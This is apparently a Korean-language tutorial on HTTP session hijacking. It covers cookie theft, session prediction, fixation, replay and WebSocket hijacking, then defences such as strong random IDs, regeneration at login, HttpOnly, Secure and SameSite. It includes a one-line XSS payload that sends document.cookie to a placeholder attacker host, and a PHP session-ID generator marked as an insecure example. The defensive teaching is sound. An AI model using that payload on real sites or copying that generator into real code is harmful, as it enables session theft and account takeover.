HTTP Session Hijacking

HTTP Session Hijacking

HTTP Session Hijacking은 공격자가 다른 사용자의 유효한 세션을 탈취해서, 그 사용자로 가장하는 공격이다.

 

웹 애플리케이션은 보통 세션 ID를 통해 사용자 인증 상태를 유지한다. 
이 세션ID가 노출/예측/고정/재사용되면 공격자는 피해자 비밀번호를 몰라도 로그인된 상태를 그대로 가로채서 행동할 수 있다.

---

Session

HTTP는 기본적으로 stateless이다.

즉, 요청 1번과 요청 2번이 같은 사용자인지 자체적으로 기억하지 못한다.

그래서 서버는 사용자가 로그인하면 서버 측에 세션 상태를 만들고, 클라이언트에게는 그 세션을 식별할 세션 식별자(session identifier)를 내려준다.

이 값은 일반적으로 Set-Cookie 헤더를 통해 쿠키로 저장되고, 이후 브라우저가 요청할 때 다시 서버로 전송된다.

 

예를 들어, 브라우저는 요청마다 대략 이런 식으로 보낸다.

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=abc123xyz...; Path=/; HttpOnly; Secure; SameSite=Lax

서버 입장에서는 "이 쿠키 값을 가진 요청 = 이미 인증된 사용자" 로 판단이 가능하다.

따라서 공격자가 이 값을 손에 넣으면, 사실상 인증을 우회한 것과 비슷한 효과가 난다.

---

주요 공격 방식

1. 세션 쿠키 탈취

가장 대표적인 공격 기법으로, 공격자가 피해자의 세션 쿠키를 훔치는 방식이다.

 

XSS를 통한 쿠키 탈취

애플리케이션에 XSS가 있으면 공격자가 피해자 브라우저에서 자바스크립트를 실행시켜 document.cookie를 읽고 외부로 전송할 수 있다.

new Image().src = "https://attacker.example/steal?c=" + document.cookie;

단, HttpOnly가 설정된 세션 쿠키는 JS로 직접 읽기 어렵다.

그래서 실무에서는 XSS가 있어도 반드시 쿠키가 바로 탈취되는 것은 아니고, 대신 세션고정, CSRF 보조, 민감 동작 대리 실행 같은 다른 방식으로 이어질 수 있다.

 

네트워크 스니핑 / MITM

암호화되지 않은 HTTP 통신에서는 중간자 공격자가 세션 쿠키를 가로챌 수 있다.

Secure 속성이 있는 쿠키는 HTTPS에서만 전송되며, 이를 통해 중간자 공격자가 민감 쿠키를 접근하는 위험을 줄인다.

 

로컬 환경 / 브라우저 탈취

악성 확장 프로그램, 악성코드, 공유 pc, 취약한 브라우저 저장소 등으로 쿠키가 유출될 수 있다.

이 경우 웹앱 자체 취약점이 없어도 세션이 탈취될 수 있다.

 

2. 세션예측

세션 ID가 충분히 랜덤하지 않으면 공격자가 맞혀버릴 수 있다.

예를 들어 시간 값, 사용자 ID, 단순 난수를 사용하면 세션 ID가 예측 가능해진다.

CWE는 예측 가능한 식별자나 불충분한 난수 사용이 세션 하이재킹으로 이어질 수 있다고 설명한다.

function generateSessionID($userID){
    srand($userID);
    return rand();
}

• 나쁜 예시의 코드이다.

사용자 ID가 같으면 동일하거나 예측 가능한 결과가 나올 수 있어 매우 위험하다.

 

3. Session Fixation

세션 하이재킹의 하위 유형으로 매우 자주 같이 언급된다.

핵심은 공격자가 자신이 아는 세션 ID를 피해자에게 미리 쓰게 만든 뒤, 피해자가 로그인하면 그 세션이 인증된 세션으로 승격되는 것이다.

 

로그인 전 세션을 로그인 후에도 그대로 유지하고 새 세션으로 교체하지 않으면 fixation이 가능하다고 한다.

시나리오

1. 공격자가 미리 세션 ID AAAA를 확보
2. 피해자에게 그 세션 ID를 쓰게 만듦
3. 피해자가 로그인
4. 서버가 세션 재발급 없이 그대로 AAAA를 인증된 세션으로 사용
5. 공격자가 AAAA를 아니까 로그인된 세션 사용 가능

즉, 이 경우는 훔치는게 아니라 미리 고정해 둔 세션을 재사용하는 공격

따라서 로그인 성공 시 반드시 세션 ID를 재생성 해야 한다.

 

4. 재전송(Replay)

공격자가 네트워크에서 인증 관련 요청이나 세션 토큰을 캡처한 뒤 다시 보내는 방식이다.

CWE는 캡처/리플레이 취약점이 있으면 네트워크 트래픽 도청을 통해 인증을 우회할 수 있다고 한다.

세션 쿠키 자체가 탈취된 경우에도 본질적으로 유효한 세션 값을 재전송하는 것이므로 replay 성격을 가진다고 볼 수 있다.

 

5. Cross-Site WebSocket Hijacking

웹 소켓도 조심해야 한다.

브라우저는 WebSocket 핸드셰이크 때도 쿠키를 자동으로 포함할 수 있다.

그래서 서버가 Origin 검증이나 CSRF 유사 방어 없이 쿠키 기반인증만 신뢰하면 악성 사이트가 사용자의 브라우저를 이용해 인증된 WebSocket 연결을 열 수 있다.

---

방어 방법

1. 세션 ID는 반드시 강한 랜덤값 사용

세션 ID는 충분히 길고, 예측 불가능하고, 충돌 가능성이 낮아야 한다.

직접 구현하지 말고, 프레임워크 기본 세션 메커니즘을 활용하는 게 원칙이다.

2. 로그인 직후 세션 재생성

로그인 성공 전후에 같은 세션 ID를 계속 쓰면 fixation에 취약하다.

따라서 인증 직후 세션 ID를 새로 발급해야 한다.

3. 세션 쿠키에 HttpOnly

세션 쿠키는 JavaScript에서 읽을 필요가 거의 없다.

따라서 HttpOnly를 설정해 XSS로 인한 직접 쿠키 탈취를 줄여야 한다.

4. Secure + HTTPS 강제

세션 쿠키는 HTTPS에서만 전송되도록 Secure를 설정해야 한다.

HTTP로 전송되면 중간자 공격에 노출될 수 있다.

5. SameSite와 CSRF 방어

SameSite=Lax 또는 가능하면 Strict를 사용하고, 민감 동작에는 별도 CSRF 토큰 등 방어를 두어야 한다.

6. 세션 만료 정책

 

• Idle timeout: 일정 시간 활동 없으면 만료
• Absolute timeout: 최대 세션 지속 시간 제한
• Renewal timeout: 주기적 재발급

---

개발자 체크리스트

Set-Cookie: __Host-session=RANDOM_VALUE;
 Path=/;
 Secure;
 HttpOnly;
 SameSite=Lax

 

• Secure와 HttpOnly를 권장